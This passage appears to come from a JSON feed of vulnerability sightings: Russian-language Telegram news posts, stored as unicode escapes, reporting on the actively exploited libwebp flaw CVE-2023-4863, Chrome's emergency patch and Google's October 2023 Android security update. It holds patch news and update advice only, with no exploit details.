\u0443\u0447\u0430\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0432 \u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438, \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u043b\u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439 \u0438 \u044f\u0441\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438. \u0411\u0435\u0437 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 \u043e\u0442 Citizen Lab \u0438 Apple \u0441\u043b\u043e\u0436\u043d\u043e \u0442\u043e\u0447\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u043c\u0438 Google \u0438 Apple.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b\u0438, \u0447\u0442\u043e \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043f\u044b\u0442\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438 \u043e \u0440\u0438\u0441\u043a\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043b\u043e\u0436\u043d\u044b\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u0438\u0441\u043a\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0430 \u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435. \u0415\u0441\u043b\u0438 \u043e\u043d\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 WebP, \u0435\u0433\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438.", "creation_timestamp": "2023-09-22T08:14:40.000000Z"}, {"uuid": "4acc3063-2ed6-4d3c-91a4-0664b39a9af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/itsec_news/3377", "content": "\u200b\u26a1\ufe0fAndroid \u0441\u0442\u0430\u043b \u0435\u0449\u0451 \u043d\u0430\u0434\u0451\u0436\u043d\u0435\u0435: Google \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 54 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\ud83d\udcac Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Android \u0437\u0430 \u043e\u043a\u0442\u044f\u0431\u0440\u044c 2023 \u0433\u043e\u0434\u0430, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 54 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0434\u0432\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u043a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\nCVE-2023-4863 \u0438 CVE-2023-4211 \u2014 \u044d\u0442\u043e \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443 Google \u0435\u0441\u0442\u044c \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c, \u0447\u0442\u043e \u043e\u043d\u0438 \u00ab\u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0442\u044c\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e\u00bb.\n\nCVE-2023-4863 \u2014 \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c libwebp, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Chrome, Firefox, iOS, Microsoft Teams \u0438 \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435.\n\n\u0414\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 CVE-\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u043b\u044f Apple iOS \u0438 Google Chrome, \u0445\u043e\u0442\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435.\n\nCVE-2023-4211 \u2014 \u044d\u0442\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u043b\u0438\u044f\u044e\u0449\u0430\u044f \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 Mali \u043e\u0442 ARM, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043f\u0435\u043a\u0442\u0440\u0435 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 Android-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u0414\u0430\u043d\u043d\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Use-After-Free \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u043b\u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043c\u0438.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u043e\u043a\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f:\n\n13 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 Android;\n\n12 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445;\n2 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432 Google Play;\n5 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 ARM;\n3 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u0430\u0441\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0447\u0438\u043f\u043e\u0432 MediaTek;\n1 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u0430\u0441\u0430\u044e\u0449\u0435\u0435\u0441\u044f \u0447\u0438\u043f\u043e\u0432 Unisoc;\n18 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Qualcomm;\n\n\u0418\u0437 54 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u0430\u0441\u0430\u044e\u0449\u0438\u0445\u0441\u044f Android 11-13, \u043f\u044f\u0442\u044c \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0430 \u0435\u0449\u0451 \u0434\u0432\u0430 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430.\n\n\u0414\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u0434\u0432\u0443\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439: \u043f\u0435\u0440\u0432\u043e\u0435 (2023-10-01) \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Android (\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a + \u0441\u0438\u0441\u0442\u0435\u043c\u0430), \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0432\u0442\u043e\u0440\u043e\u0435 (2023-10-06) \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u044f\u0434\u0440\u0430 \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0441 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c.\n\n\u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u044b\u0431\u043e\u0440\u043e\u0447\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0438\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u044f \u0438\u0445 \u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0438 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u044f\u0434\u0440\u0430 Android \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u043e\u0438\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430. \u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0438 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u0432\u0441\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0435 \u0432 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u0437\u0430 \u044d\u0442\u043e\u0442 \u043c\u0435\u0441\u044f\u0446.\n\nAndroid 10 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0448\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u043c \u043d\u0430 \u0441\u0432\u0435\u0436\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Android, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0425\u043e\u0442\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0447\u0430\u0441\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043d\u0435\u0441\u0442\u0438 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-10-04T11:13:38.000000Z"}, {"uuid": "d1474bd7-dce2-4f39-85ef-74f3a48772c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/itsec_news/3186", "content": "\u200b\u26a1\ufe0f\u0421\u0440\u043e\u0447\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f WebP: \u043e\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u044b\u0445 \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a \u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0445\u0430\u043e\u0441\u0443 \u0432 \u0432\u0430\u0448\u0435\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435,\n\n\ud83d\udcac \u041a\u0430\u043a \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u0434\u043b\u044f Chrome \u043d\u043e\u0432\u043e\u0439 \u0434\u043e\u0431\u0440\u043e\u0439 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u0435\u0439.\n\nGoogle \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Chrome. \u0415\u0433\u043e \u0446\u0435\u043b\u044c \u2014 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u00ab\u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f\u00bb \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2023-4863, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u0430\u043b\u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u0439 \u0437\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0433\u043e\u0434 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0414\u0435\u0444\u0435\u043a\u0442 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 WebP. \u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438\u043b\u0438, \u0447\u0442\u043e \u0435\u0449\u0435 \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u0435\u0435, \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0447\u0430\u0441\u0442\u043e \u0441\u043b\u0443\u0436\u0430\u0442 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0432\u0438\u0434\u043e\u0432 \u0430\u0442\u0430\u043a, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\nWebP \u2014 \u044d\u0442\u043e \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0441\u0430\u043c\u043e\u0439 Google. \u041e\u043d \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0441\u0436\u0430\u0442\u0438\u044f \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0435\u0437 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0442\u0435\u0440\u0438 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430. \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 